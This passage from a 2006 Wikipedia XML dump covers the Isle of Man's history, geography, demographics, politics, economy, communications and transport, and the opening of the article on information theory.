[[Olaf I of the Isle of Man | Olaf]], Godred's son, exercised considerable power, and according to the Chronicle, maintained such close alliance with the kings of Ireland and Scotland that no one ventured to disturb the Isles during his time (1113 - 1152). His son, [[Godred V of the Isle of Man| Godred]] (reigned [[1153]] - [[1158]]), who for a short period ruled over Dublin also, as a result of a quarrel with [[Somerled]], the ruler of [[Argyll]], in 1156, lost the smaller islands off the coast of Argyll. An independent sovereignty thus appeared between the two divisions of his kingdom. 

In the 1130s the Church sent a small mission to establish the first [[bishopric]] on the Isle of Man, and appointed [[Wimund (bishop)|Wimund]]  as the first Bishop. He soon after gave up his role as fisher of men, and became the hunter of men, embarking with a band of followers on a career of murder and looting throughout Scotland and the surrounding islands.

Early in the 13th century, when [[Ragnald of the Isle of Man | Reginald of Man]] (reigned 1187 - 1229) did homage to King [[John of England]] (reigned 1199 - 1216), we hear for the first time of English intervention in the affairs of Man. But a period of Scots domination would precede the establishment of full English control. During the whole of the Scandinavian period the isles remained nominally under the suzerainty of the kings of [[Norway]], but the Norwegians only occasionally asserted it with any vigour. [[Harald I of Norway | Harold Haarfager]] did so first about [[885]], then came [[Magnus III of Norway | Magnus Barfod]] about [[1100]]: both of these conquered the isles. From the middle of the 12th century till [[1217]] the suzerainty, because Norway had become a prey to civil dissensions, had remained of a very shadowy character. But after that date it became a reality and Norway consequently came into collision with the growing power of [[Scotland]]. 

===Scottish interludes===

Finally, in 1261, [[Alexander III of Scotland]] sent envoys to Norway to negotiate for the cession of the isles, but their efforts led to no result. He therefore initiated hostilities which terminated in the complete defeat of the Norwegian fleet at [[Battle of Largs | Largs]] in 1263. [[Magnus III of the Isle of Man | Magnus]], king of Man and the Isles (reigned 1252 - 1265), who had fought on the Norwegian side, had to surrender all the islands over which he had ruled, except Man, for which he did homage. Two years later Magnus died and in 1266 King [[Magnus VI of Norway]] ceded the islands, including Man, to Scotland in the [[1266 Treaty of Perth|Treaty of Perth]] in consideration of the sum of 4000 [[Mark (money)|marks]] (known as &quot;merks&quot; in Scotland) and an annuity of 100 marks. But Scotland's rule over Man did not become firmly established till [[1275]], when the Manx suffered defeat in a decisive battle at [[Ronaldsway]], near [[Castletown]].

==English dominance==

In 1290 we find king [[Edward I of England]] in possession of Man, and it remained in English hands till 1313, when [[Robert I of Scotland | Robert Bruce]] took it  after besieging Castle Rushen for five weeks. Then, till 1346, when the battle of Nevilles Cross decided the long struggle between England and Scotland in England's favor, there followed a confused period when Man sometimes experienced English rule and sometimes Scottish. 

About 1333 King [[Edward III of England]] granted Man to [[William Montacute, 1st Earl of Salisbury|William de Montacute]], 3rd [[Baron]] Montacute, (later the 1st [[Earl of Salisbury]]), as his absolute possession, without reserving any service to be rendered to him. In 1392 his son sold the island with the crown to Sir [[William Le Scrop of the Isle of Man | William Le Scroope]]. In 1399 King [[Henry IV of England|Henry IV]] brought about the beheading of Le Scroope, who had taken the side of [[Richard II of England|Richard II]]. The island then came into the possession of the crown, which granted it to [[Henry Percy, 1st Earl of Northumberland]], but following his attainder, Henry IV, in 1406, made a grant of it, with the patronage of the bishopric, to Sir [[John I Stanley of the Isle of Man|John Stanley]], his heirs and assigns, on the service of rendering two falcons on paying homage and two falcons to all future kings of England on their coronation.

With the accession of the Stanleys to the throne there begins a better epoch in Manx history. Though the island's new rulers rarely visited its shores, they placed it under responsible governors, who, in the main, seem to have treated it with justice. Of the thirteen members of the family who ruled in Man, the second [[John II Stanley of the Isle of Man | Sir John Stanley]] (1414 - 1432), James, the 7th earl (1627 - 1651), and the 10th earl of the same name (1702 - 1736) had the most important influence on it. The first curbed the power of the spiritual barons, introduced trial by jury, instead of trial by battle, and ordered the laws to be written. The second, known as the Great Stanley, and his wife, Charlotte de la Tremoille (or Tremouille), are probably the most striking figures in Manx history. In 1643 [[Charles I of England | Charles I]] ordered him to go to Man, where the people, who were no doubt influenced by what was taking place in England, threatened to revolt. But his arrival, with English soldiers, soon put a stop to anything of this kind. He conciliated the people by his affability, brought in Englishmen to teach various handicrafts and tried to help the farmers by improving the breed of Manx horses, and, at the same time, he restricted the exactions of the Church. But the Manx people never had less liberty than under his rule. They were heavily taxed; troops were quartered upon them; and they also had the more lasting grievance of being compelled to accept leases for three lives instead of holding their land by the straw tenure which they considered to be equivalent to a customary inheritance. Six months after the death of King Charles ([[30 January]] [[1649]]) Stanley received a summons from General Ireton to surrender the island, which he haughtily declined. In August 1651 he went to England with some of his troops, among whom were 300 Manxmen, to join King [[Charles II of England | Charles II]], and he and they shared in the decisive defeat of the Royalists at [[Battle of Worcester|Worcester]]. He was captured and confined in Chester Castle, and, after being tried by court martial, was executed at [[Wigan]]. 

Soon after his death the Manx Militia, under the command of William Christian (known  by his [[Manx language|Manx]] name of [[Illiam Dhone]]), rose against the Countess and captured all the insular forts except Rushen and Peel. They were then joined by a parliamentary force under Colonel Duckenfield, to whom the Countess surrendered after a brief resistance. Fairfax had been appointed Lord of Man and the Isles in September, so that Man continued under a monarchical government and remained in the same relation to England as before. 

The restoration of Stanley government in [[1660]] therefore caused as little friction and alteration as its temporary cessation had. One of the first acts of the new lord, Charles (the 8th earl), was to order Christian to be tried. He was found guilty and executed. Of the other persons implicated in the rebellion only three were excepted from the general amnesty. But by order in Council they were pardoned, and the judges responsible for the sentence on Christian were punished. His next act was to dispute the permanency of the tenants' holdings, which they had not at first regarded as being affected by the acceptance of leases, a proceeding which led to an almost open rebellion against his authority and to the neglect of agriculture. In lieu of it the people devoted themselves to the fisheries and to contraband trade. 

The agrarian question subsided only in 1704, when James, Charles's brother and successor, largely through the influence of Bishop Wilson, entered into a compact with his tenants, which became embodied in an act, called the [[Act of Settlement 1703|Act of Settlement]]. Their compact secured the tenants in the possession of their estates in perpetuity on condition of a fixed rent, and a small fine on succession or alienation. From the great importance of this act to the Manx people it has been called their ''Magna Carta''. As time went on, and the value of the estates increased, the rent payable to the lord became so small in proportion as to be almost nominal. 

James died in 1736, and the sovereignty of the isle passed to James Murray, 2nd duke of Atholl. In 1764 there succeeded him his only surviving child Charlotte, Baroness Strange, and her husband, John Murray, who (in right of his wife) became Lord of Man. About [[1720]] the contraband trade greatly increased. In 1726 parliament checked it somewhat for a time, but during the last ten years of the Atholl régime ([[1756]] - [[1765]]) it assumed such proportions that, in the interests of the imperial revenue, it became necessary to suppress it. With a view to so doing, Parliament in 1765 passed the Revesting Act, under which it purchased the sovereign rights of the Atholls and the customs revenues of the island for the sum of 70,000 [[GB pound|pound]]s, and granted an [[annuity]] to the duke and duchess. The Atholls still retained their [[Manorialism|manor]]ial rights, the patronage of the See, and certain other perquisites, until they sold them for the excessive sum of 417,144 pounds in [[1828]]. 

Up to the time of the Revestment, the Tynwald Court passed laws concerning the government of the island in all respects and had control over its finances, subject to the approval of the lord. After the Revestment, or rather after the passage of the Mischief Act in the same year, the British Parliament legislated with respect to customs, harbours and merchant shipping, and, in measures of a general character, it occasionally inserted clauses permitting the enforcement in the island of penalties in contravention of the acts of which they formed part. It also assumed the control of the insular customs duties. Such changes, rather than the transference of the sovereignty from the lord to the king of Great Britain and Ireland, modified the Constitution of the Isle of Man. Its ancient laws and tenures remained untouched, but in many ways the Revestment affected it adversely. The hereditary lords seldom if ever functioned as model rulers, but most of them had taken some personal share in its government, and had interested themselves in the well-being of its inhabitants. But now the whole direction of its affairs became the work of officials who regarded the island as a pestilent nest of smugglers, from which it seemed their duty to extract as much revenue as possible. 

Some alleviation of this state of things happened between [[1793]] and [[1826]] when [[John Murray, 4th Duke of Atholl]] served as governor, since, though he quarrelled with the [[House of Keys]] and unduly cared for his own pecuniary interests, he did occasionally exert himself to promote the welfare of the island. After his departure the English officials resumed their sway. But they showed more consideration than before. Moreover, since smuggling, which the Revesting Act had only checked -- not suppressed -- had by that time almost disappeared, and since the Manx revenue had started to produce a large and increasing surplus, the authorities looked more favourably on the Isle of Man, and, thanks to this fact and to the representations of the Manx people to English ministers in 1837, 1844 and 1853, it obtained a somewhat less stringent customs [[tariff]] and an occasional dole towards erecting its much neglected public works.

==Modern Period==

After [[1866]], when the Isle of Man obtained a measure of at least nominal [[home rule | Home Rule]], the Manx people have made remarkable progress, and at the present day form a prosperous community, with [[tax haven]] status and a thriving [[tourism | tourist]] industry.

The early twentieth century saw a revival of music, dance, and the [[Manx_language|Manx]] language, but this proved only partially successful, as the last native speaker of Manx died in the 1970s. In the middle part of the twentieth century, the [[Taoiseach]] [[Eamon de Valera]] visited, and became so distressed at the lack of support for Manx that he immediately had two recording vans sent over. As the century progressed, the Manx tourist economy declined greatly, as the English and Irish started flying to Spain for package holidays. The Manx government responded to this situation by  making the island a [[tax haven]]. While this has had beneficial effects on the Manx economy, it has had its detractors, who have pointed to corruption in the finance industry and [[money laundering]]. This has given the biggest impetus to Manx nationalism in recent years, spawning the parties [[Mec Vannin]] and the [[Manx National Party|MNP]], as well as the now defunct ''Fo Halloo'' (literally &quot;Underground&quot;), which mounted a direct-action campaign of spray-painting and attempted house-burning. 

The 1990s and early twenty first century have seen a greater recognition of indigenous Manx culture, such as the first Manx language primary school, as well as a general re-evaluation of the island's economy.

==See also==

* [[List of Kings of the Isle of Man and the Isles]] (1079 - 1164)
* [[List of Kings of the Isle of Man]] (1164 - 1504)
* [[List of Lords of the Isle of Man]] (1504 - 1765)
* [[Act of Settlement 1703|Act of Settlement]]. 
* [[List of Governors of the Isle of Man]] (1696 - 1828)
* [[List of Lieutenant Governors of the Isle of Man]] (1773 - present)
* [[Wimund (bishop)]] - 12th century, first Bishop of the Isle of Man, war-lord.

== References ==
* {{1911}}

[[Category:History of the Isle of Man| ]]
[[Category:History of Europe|Man]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Isle of Man</title>
    <id>14764</id>
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      <timestamp>2006-03-03T04:29:38Z</timestamp>
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        <id>37293</id>
      </contributor>
      <minor />
      <comment>/* Climate */</comment>
      <text xml:space="preserve">[[Image:IsleofManmap.png|thumb|Map of the Isle of Man]]

The '''[[Isle of Man]]''' is an [[island]] in the [[Irish Sea]], between [[Great Britain]] and [[Ireland]] in [[Western Europe]], with a population of over 75 000. It has a small islet, the [[Calf of Man]], to its south. It is located at {{coor dm|54|15|N|4|30|W|type:country}}.

==Dimensions==
'''Area:'''
&lt;br&gt;''total:''
572 km²
&lt;br&gt;''land:''
572 km²
&lt;br&gt;''water:''
0 km²

This makes it:
*slightly more than three times the size of [[Washington, DC]]
*slightly more than one third the size of [[Hertfordshire]]
*slightly smaller than [[Saint Lucia]].

==Coast==
The Isle of Man has a coastline of 160 km, and claims 12 [[Nautical mile|nm]] of exclusive fishing zone and of territorial waters.

==Climate==
The Isle of Man enjoys a [[temperate]] climate, with cool summers and mild winters. Average rainfall is high compared to the majority of the [[British Isles]], due to its location to the western side of [[Great Britain]] and sufficient distance from [[Ireland]] for moisture to be accumulated by the prevailing south-westerly winds. Average rainfall is highest at [[Snaefell]], where it is around 1900 mm a year. At lower levels it can fall to around 800 mm a year.

Temperatures remain fairly cool, with the recorded maximum being 28.9 C at [[Ronaldsway]]. The Isle of Man is known for its [[overcast]] skies and low levels of sunshine.

==Terrain==
The island's highest point is Snaefell, which reaches 621m. It has no land below [[sea level]]. To its north there is a flat plain, consisting of glacial [[till]]s and marine sediments. To the south the island is more hilly, with distinct vallies crossing the island.

==Land Use==
*''arable land:''
9%
*''permanent crops:''
0%
*''permanent pastures:''
46%
*''forests and woodland:''
6%
*''other:''
39% (includes 25% mountain and heathland)

==Natural hazards and environmental issues==
There are few severe natural hazards, with high winds and [[thunderstorms]] the most common. Air pollution and waste disposal are both issues on this small island.

==Geology==
{{expandsect}}

==Demographics==
The island has an estimate population of 75 049, as of July 2005. This is down on the government's last [[census]] in 2001, which recorded 76 315 people, itself a rise of 9.1% on the previous 1991 census. 

The island's largest town and administrative centre is [[Douglas]], whose population is 23 000, over a third of the entire island's. [[Onchan]] and [[Ramsey]] in the north, [[Peel]] in the west and the three southern ports of [[Castletown]], [[Port Erin]] and [[Port St Mary]] are the island's other main settlements. Almost all its population lives on or very near to the coast.

==See also==
* [[Towns in the Isle of Man]]

==References==
*[http://www.gov.im/isleofman/geography.xml Isle of Man Government]
*[http://www.cia.gov/cia/publications/factbook/geos/im.html CIA World Factbook]

[[Category:Isle of Man]]
[[Category:Geography by country|Isle of Man]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Isle of Man</title>
    <id>14765</id>
    <revision>
      <id>35659830</id>
      <timestamp>2006-01-18T10:18:41Z</timestamp>
      <contributor>
        <username>Mykdavies</username>
        <id>9579</id>
      </contributor>
      <minor />
      <comment>/* External links */  Corrected links</comment>
      <text xml:space="preserve">''This article describes the '''[[Demographics]] of the [[Isle of Man]]'''''
----

*'''[[Population]]:''' 75,049 (July 2005 est.)

*'''Age structure:'''
**''0-14 years:'' 18% (male 6,520; female 6,277)
**''15-64 years:'' 65% (male 23,904; female 23,674)
**''65 years and over:'' 17% (male 5,078; female 7,664) (2000 est.)

*'''[[Population growth rate]]:''' 0.52% (2005 est.)

Population Density: 131people/km (2005 est.)

*'''[[Birth rate]]:''' 11.69 births/1,000 population (2000 est.)

*'''[[Death rate]]:''' 11.98 deaths/1,000 population (2000 est.)

*'''Net migration rate:''' 5.47 migrant(s)/1,000 population (2000 est.)

*'''Sex ratio:'''
**''at birth:'' 1.05 male(s)/female
**''under 15 years:'' 1.04 male(s)/female
**''15-64 years:'' 1.01 male(s)/female
**''65 years and over:'' 0.66 male(s)/female
**''total population:'' 0.94 male(s)/female (2000 est.)

*'''[[Infant mortality rate]]:''' 5.93 deaths/1,000 live births (2005 est.)

*'''[[Life expectancy]] at birth:''' 
**''total population:'' 78.34 years
**''male:'' 74.98 years
**''female:'' 81.87 years (2000 est.)

*'''Total [[fertility rate]]:''' 1.65 children born/woman (2000 est.)

*'''Nationality:'''
**''noun:'' Manxman (men), Manxwoman (women)
**''adjective:'' Manx

*'''[[Ethnic group]]s:''' [[Manx]] ([[Norseman|Norse]]-[[Celt]]ic descent), [[Briton]]

*'''[[Religion]]s:''' [[Atheism]], [[Agnosticism]], [[Anglican]], [[Roman Catholic]], [[Methodist]], [[Baptist]], [[Presbyterian]], [[Religious Society of Friends]], [[Jehovah's Witnesses]].  There is no offical religion and very few practice any religion at all.

*'''[[Language]]s:''' [[Manx Gaelic]], [[English language|English]]


==External links==
*[http://www.gov.im/treasury/economic/census/2001/welcome.xml 2001 Manx Census, overview and details]

[[Category:Isle of Man]]
[[Category:Demographics by country|Man]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Isle of Man</title>
    <id>14766</id>
    <revision>
      <id>39589022</id>
      <timestamp>2006-02-14T14:10:58Z</timestamp>
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        <username>FireFox</username>
        <id>358536</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">{{Politics of the Isle of Man}}
'''Politics of the [[Isle of Man]]''' , an island in the [[Irish Sea]], takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] British [[Crown dependency]], whereby the [[Chief Minister of the Isle of Man|Chief Minister]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in in the bicameral [[Tynwald]]. The [[Judiciary]] is independent of the executive and the legislature. The [[Isle of Man]], is not part of the [[United Kingdom]] or the [[European Union]]. The United Kingdom takes care of its external and defence affairs.  
The island has no representation at either the [[Parliament of the United Kingdom|UK]] or [[European Parliament|EU]] [[parliament]]s. The island is governed by the [[Tynwald]], said to be the world's oldest parliament (This claim is disputed by others).

==Executive branch==
{{office-table}}
|[[Lord of Mann]]
|[[Elizabeth II of the United Kingdom|Elizabeth II]]
|
|[[6 February]] [[1952]]
|-
|Lieutenant Governor
|[[Paul Haddacks]]
|
|[[17 October]] [[2005]]
|-
|[[Chief Minister of the Isle of Man|Chief Minister]]
|[[Donald Gelling]]
|
|[[14 December]] [[2004]]
|}
The monarch (Lord) is hereditary. The lieutenant governor is appointed by the monarch for a five-year term. The Chief Minister is elected by the [[Tynwald]].  On [[19 October]] [[2005]] Tynwald accepted a proposal to change the title of the [[Lieutenant Governor]] to  &quot;[[Crown Commissioner]]&quot;  or    &quot;[[Barrantagh y Chrooin&quot;]]&quot; in Manx.
It now has to go to the Queen for her approval but the United Kingdom [[Department for Constitutional Affairs]] indicated early in 2005 that this was likely to be given.

==Legislative branch==
Man elects on national level a [[legislature]]. The '''[[Tynwald|High Court of Tynwald]]''' or ''Ard-whaiyl Tinvaal'' consists out of two [[bicameralism|chambers]]. The '''[[House of Keys]]''' or ''Chiare-as-Feed'' has 24 members, elected for a five year term in multi- and single-seat [[constituency|constituencies]]. The '''[[Legislative Council (Isle of Man)|Legislative Council]]''' or ''Choonceil Slattyssagh'' has 11 members, the President of Tynwald, two ex officio members and eight other members who are elected from the House of Keys for a five year term. 

==Judicial branch==
The Isle of Man has a High Court of Justice. The justices are appointed by the [[Lord Chancellor]] of [[England]] on the nomination of the lieutenant governor.

==Work permits and visas==
All non-Manx citizens, including UK citizens, require a work permit from the Manx government to take up employment on the island. Manx people, as British Citizens, may travel and work freely in the United Kingdom. Manx people are issued with UK passports, but with an additional endorsement that declares their nationality. Manxmen (citizens of Man) are also citizens of the European Union, however [http://www.feegan.com/manx/protocol3.htm protocol three] of the [http://www.bmdf.co.uk/ukaccessiontreaty.pdf treaty of accession of the United Kingdom] stipulates that Manx people &quot;shall not benefit from provisions relating to the free movement of persons and services&quot;. This means that a special endorsement is placed in their passports preventing them from freely living or working in other EU states. 

Travel to the Isle of Man is regulated by the local government laws. Visitors from countries who require a UK visa may also require a special Man visa, obtainable from a British Embassy. An Isle of Man visa also serves as a UK transit visa and a holder of a UK visa is usually permitted to visit Man. The island is considered part of the ''[[de facto]]'' [[Common Travel Area]] (including UK and Ireland) and all passenger air and sea traffic originates in either the UK or Ireland. Despite the special visa rules, there are currently no Immigration Controls exercised at the ports.

==External links==
*[http://www.gov.im Isle of Man Government]
*[http://www.tynwald.org.im Tynwald - The Parliament of the Isle of Man]

[[Category:Politics of the Isle of Man]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Isle of Man</title>
    <id>14767</id>
    <revision>
      <id>36828561</id>
      <timestamp>2006-01-26T19:28:53Z</timestamp>
      <contributor>
        <username>TheObtuseAngleOfDoom</username>
        <id>73429</id>
      </contributor>
      <minor />
      <comment>Disambiguation from [[Distribution]] to [[distribution (business)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">Offshore [[banking]], [[manufacturing]], and [[tourism]] are key sectors of the '''[[economics|economy]] of the [[Isle of Man]]'''. The government's policy of offering incentives to high-technology companies and financial institutions to locate on the island has paid off in expanding [[employment]] opportunities in high-income industries. As a result, [[agriculture]] and [[fishing]], once the mainstays of the economy, have declined in their shares of [[Gross domestic product|GDP]]. Banking and other services now contribute the great bulk of GDP. [[Trade]] is mostly with the [[United Kingdom]]. The Isle of Man has access to [[European Union]] markets.

'''GDP:'''
purchasing power parity - $2.113 billion (2003 est.) 

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $28,500 (2003 est.) 

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
1%
&lt;br&gt;''industry:''
13%
&lt;br&gt;''services:''
86% (2000 est.)

'''Population below [[poverty]] line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''[[Inflation]] rate (consumer prices):'''
3.6% (2003 est.)

'''[[Labour (economics)|Labor]] force:'''
39,690(2001)

'''Labour force - by occupation:'''
[[agriculture]], [[forestry]] and [[fishing]] 3%, [[manufacturing]] 11%, [[construction]] 10%, [[transport]] and [[communication]] 8%, wholesale and retail [[distribution (business)|distribution]] 11%, professional and [[science|scientific]] services 18%, public [[administration]] 6%, [[banking]] and [[finance]] 18%, [[tourism]] 2%, [[entertainment]] and [[catering]] 3%, miscellaneous services 10%

'''[[Unemployment]] rate:'''
0.6% (2004 est.)

'''[[Budget]]:'''
&lt;br&gt;''revenues:''
$485 million
&lt;br&gt;''expenditures:''
$463 million, including capital expenditures of $NA (FY00/01 est.)

'''Industries:'''
financial services, light manufacturing, tourism

'''Industrial production growth rate:'''
3.2% (1996/97)

'''[[Electricity]] - production:'''
329 GWh (1999)

'''Electricity - production by source:'''
&lt;br&gt;''[[fossil fuel]]:''
100%
&lt;br&gt;''[[hydroelectric power|hydro]]:''
0%
&lt;br&gt;''[[nuclear power|nuclear]]:''
0%
&lt;br&gt;''other:''
0% (1999)

'''Electricity - consumption:'''
287 GWh ([[1999]])

'''Electricity - exports:'''
NA kWh

'''Electricity - imports:'''
NA kWh

'''Agriculture - products:'''
[[cereal]]s, [[vegetable]]s, [[cattle]], [[domestic sheep|sheep]], [[pig]]s, [[poultry]]

'''Exports:'''
$NA

'''Exports - commodities:'''
[[tweed]]s, [[herring]], processed [[shellfish]], [[beef]], [[lamb]]

'''Exports - partners:'''
UK

'''Imports:'''
$NA

'''Imports - commodities:'''
[[timber]], [[fertilizer]]s, [[fish]]

'''Imports - partners:'''
UK

'''Debt - external:'''
$NA

'''Economic aid - recipient:'''
$NA

'''[[Currency]]:'''
1 [[Isle of Man pound]] = 100 pence

'''Exchange rates:'''
Manx pounds per US$1 - 0.6092 (January 2000), 0.6180 (1999), 0.6037 (1998), 0.6106 (1997), 0.6403 (1996), 0.6335 (1995); the Manx pound is at par with the British pound

'''Fiscal year:'''
[[1 April]]&amp;ndash;[[31 March]]

==See also==
*[[Isle of Man]]
*[[Economy of the United Kingdom]]
*[[Economy of Europe]]

[[Category:Isle of Man]]
[[Category:Economies by country|Isle of Man]]</text>
    </revision>
  </page>
  <page>
    <title>Communications on the Isle of Man</title>
    <id>14768</id>
    <revision>
      <id>41799652</id>
      <timestamp>2006-03-01T20:58:54Z</timestamp>
      <contributor>
        <ip>12.37.144.130</ip>
      </contributor>
      <comment>/* Broadcasting */</comment>
      <text xml:space="preserve">==Telecommunications==
'''[[Telephone]]s - main lines in use:'''
51,000 (1999)

'''Telephones - mobile cellular:'''
NA

'''Telephone system:'''
&lt;br&gt;''domestic:''
landline, [[fax|telefax]] mobile cellular telephone system
&lt;br&gt;''international:''
[[fiber-optic cable]], [[microwave]] [[radio]] relay, [[satellite]] earth station, submarine cable

'''[[Country calling code]]''': 44 1624 (landlines); 44 7624 (mobiles)
* [http://www.manx-telecom.com/ Manx Telecom]

==Broadcasting==
* [http://www.manxradio.com/ Manx Radio]
* [http://www.energyfm.net/ Energy FM]
* [http://www.three.fm/ 3 FM]

Establishment of a local TV service is under consideration.  Although residents pay the [[UK]] [[television licence fee]], the [[BBC]] does not provide any local services on  radio, TV, or online. The Isle of Man is covered by the BBC North West region, which occasionally features local news items, as does [[Border Television]], whose [[ITV]] franchise covers the Island. The national public service commercial radio station for the island is [[Manx Radio]].

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
MW 1, FM 1, shortwave 0 (1998), a [[longwave]](LW) station is planned ([[Musicmann279]])

'''[[Television]] broadcast stations:'''
0 (receives broadcasts from the [[United Kingdom]] and satellite) (1999) 

'''[[Television]]s:''' 27,490 (1999)

==Post==
The [[Isle of Man Post Office]] issues its own stamps for use within the island and for sending post off-island. Only Manx stamps are valid for sending mail using the postal system. The Isle of Man adopted [[postcodes]] in the [[1990s]] using the prefix IM to fit in with the already established [[United Kingdom|UK]] [[UK postcodes|postcode]] system.

==See also==
* [[List of postal codes in the Isle of Man]]
* [[Manx Radio]]

==External links==
* [http://www.gov.im/government/boards/cc.xml Communications Commission]
* [http://www.gov.im/isleofman/communication.xml Communications summary]

[[Category:Isle of Man]]</text>
    </revision>
  </page>
  <page>
    <title>Transport on the Isle of Man</title>
    <id>14769</id>
    <revision>
      <id>39288673</id>
      <timestamp>2006-02-12T02:54:22Z</timestamp>
      <contributor>
        <username>Bbean</username>
        <id>917490</id>
      </contributor>
      <comment>/* Railways */</comment>
      <text xml:space="preserve">==Roads==

The island has a total of 800 km of public roads, all of which are paved. (''Source: CIA World Factbook, 2002'')

There is a comprehensive bus network, operated by '''Isle of Man Transport''', a department of the Isle of Man government.

Among the roads is the &lt;u&gt;A1 road&lt;/u&gt;.

Many of the roads on the island have no speed limit.

==Railways==

The island has a total of 68.5 km of railway, of which 43.5 km is electrified. (''Source: CIA World Factbook, 2002'')

There are six separate rail systems on the island:

*[[Isle of Man Steam Railway]] - operated by '''Isle of Man Transport'''
*[[Manx Electric Railway]] - operated by '''Isle of Man Transport'''
*[[Snaefell Mountain Railway]] - operated by '''Isle of Man Transport'''
*[[Douglas Horse Tram]] - operated by the Douglas Borough Council
*[[Groudle Glen Railway]]
*[[Great Laxey Mine Railway ]]

==Airports==

The only airport on the island is the [[Isle of Man Airport]] at Ronaldsway.

Scheduled services operate to and from various cities in [[Britain]] and [[Ireland]], operated by several different airlines.

==Ports and harbours==

Ports are located at [[Castletown]], [[Douglas, Isle of Man|Douglas]], [[Peel, Isle of Man|Peel]] and [[Ramsey, Isle of Man|Ramsey]].

The Isle of Man is served by frequent ferries to and from [[Britain]] and [[Ireland]]. The principal operator is the '''Isle of Man Steam Packet Company'''.

==Merchant marine==

The Isle of Man register comprises 226 ships of 1,000 GRT or over, totaling 6,055,436 GRT or 9,972,459 DWT. This figure includes some foreign-owned ships registered here as a flag of convenience: Australia 3, Cyprus 4, Denmark 30, Estonia 3, France 1, Germany 57, Greece 8, Hong Kong 11, Iceland 1, Italy 6, Monaco 4, Netherlands 2, New Zealand 1, Norway 10, Singapore 2, Sweden 3, United Kingdom 80, United States 1.
 
A breakdown of ships by type: bulk 25, cargo 40, chemical tanker 25, combination bulk 2, container 19, liquefied gas 31, multi-functional large load carrier 1, petroleum tanker 59, refrigerated cargo 1, roll on/roll off 17, specialized tanker 1, vehicle carrier 5.

(''Source: CIA World Factbook, 2004'')

==See also==

*[[Isle of Man]]
*[[Isle of Man Steam Packet]]

==External links==

*[http://www.iombusandrail.info/ Isle of Man Transport]
*[http://www.steam-packet.com/ Isle of Man Steam Packet Company]
*[http://www.iom-airport.com/ Isle of Man Airport]
*[http://www.iomguide.com/timetables/ Searchable Isle of Man Bus/Railway Timetables]

[[Category:Isle of Man]]
[[Category:Transport in British Overseas Territories and Crown Dependencies]]</text>
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  <page>
    <title>Military of the Isle of Man</title>
    <id>14770</id>
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      <id>15912305</id>
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      <text xml:space="preserve">#REDIRECT [[Isle of Man]]</text>
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    <title>Isle of Man/Transnational issues</title>
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      <comment>#REDIRECT [[Isle of Man]] -- the page had no content</comment>
      <text xml:space="preserve">#REDIRECT [[Isle of Man]]</text>
    </revision>
  </page>
  <page>
    <title>Information theory</title>
    <id>14773</id>
    <revision>
      <id>42095207</id>
      <timestamp>2006-03-03T20:16:07Z</timestamp>
      <contributor>
        <ip>130.94.162.61</ip>
      </contributor>
      <comment>/* Continuous equivalents of entropy */ link to main article &quot;differential entropy&quot;</comment>
      <text xml:space="preserve">: ''The topic of this article is distinct from the topics of [[Library and information science]] and [[Information technology]].''

{{attention_see_talk}}
'''Information theory''' is a field of mathematics that considers three fundamental questions:
* [[Lossless data compression|Compression]]: How much can data be compressed (abbreviated) so that another person can recover an ''identical'' copy of the uncompressed data?
* [[Lossy data compression]]: How much can data be compressed so that another person can recover an ''approximate'' copy of the uncompressed data?
* [[Channel capacity]]: How quickly can data be communicated to someone else through a noisy medium?

These somewhat abstract questions are answered quite rigorously by using mathematics introduced by [[Claude Elwood Shannon|Claude Shannon]] in 1948. His paper spawned the field of information theory, and the results have been crucial to the success of the [[Voyager program|Voyager]] missions to deep space, the invention of the [[Compact disc|CD]], the feasibility of [[mobile phone]]s, analysis of the code used by [[DNA]], and numerous other fields.

==Overview==
Information theory is the mathematical theory of data communication and storage, generally considered to have been founded in 1948 by [[Claude E. Shannon]].  The central [[paradigm]] of classic information theory is the engineering problem of the transmission of information over a noisy channel.  The most fundamental results of this theory are Shannon's [[source coding theorem]], which establishes that on average the number of ''bits'' needed to represent the result of an uncertain event is given by the ''entropy''; and Shannon's [[noisy-channel coding theorem]], which states that ''reliable'' communication is possible over ''noisy'' channels provided that the rate of communication is below a certain threshold called the channel capacity.  The channel capacity is achieved with appropriate encoding and decoding systems.

Information theory is closely associated with a collection of pure and applied disciplines that have been carried out under a variety of banners in different parts of the world over the past half century or more:  [[adaptive system]]s, [[anticipatory system]]s, [[artificial intelligence]], [[complex system]]s, [[complexity science]], [[cybernetics]], [[informatics]], [[machine learning]], along with [[systems science]]s of many descriptions.  Information theory is a broad and deep mathematical theory, with equally broad and deep applications, chief among them [[coding theory]].

Coding theory is concerned with finding explicit methods, called ''codes'', of increasing the efficiency and fidelity of data communication over a noisy channel up near the limit that Shannon proved is all but possible.  These codes can be roughly subdivided into [[data compression]] and [[error-correction]] codes.  It took many years to find the good codes whose existence Shannon proved.   A third class of codes are cryptographic [[cipher]]s; concepts from coding theory and information theory are much used in [[cryptography]] and [[cryptanalysis]]; see the article on [[deciban]] for an interesting historical application.

Information theory is also used in [[information retrieval]], [[intelligence (information gathering)|intelligence gathering]], [[gambling]], [[statistics]], and even [[musical composition]].

==Mathematical theory of information==
: ''For a more thorough discussion of these basic equations, see [[Information entropy]].''
The abstract idea of what &quot;information&quot; really is must be made more concrete so that mathematicians can analyze it.

===Self-information===
Shannon defined a measure of information content called the  [[self-information]] or '''surprisal''' of a message ''m'':

:&lt;math&gt; I(m)  = - \log p(m),\,&lt;/math&gt;

where &lt;math&gt;p(m) = Pr(M=m)&lt;/math&gt; is the probability that message ''m'' is chosen from all possible choices in the message space &lt;math&gt;M&lt;/math&gt;.

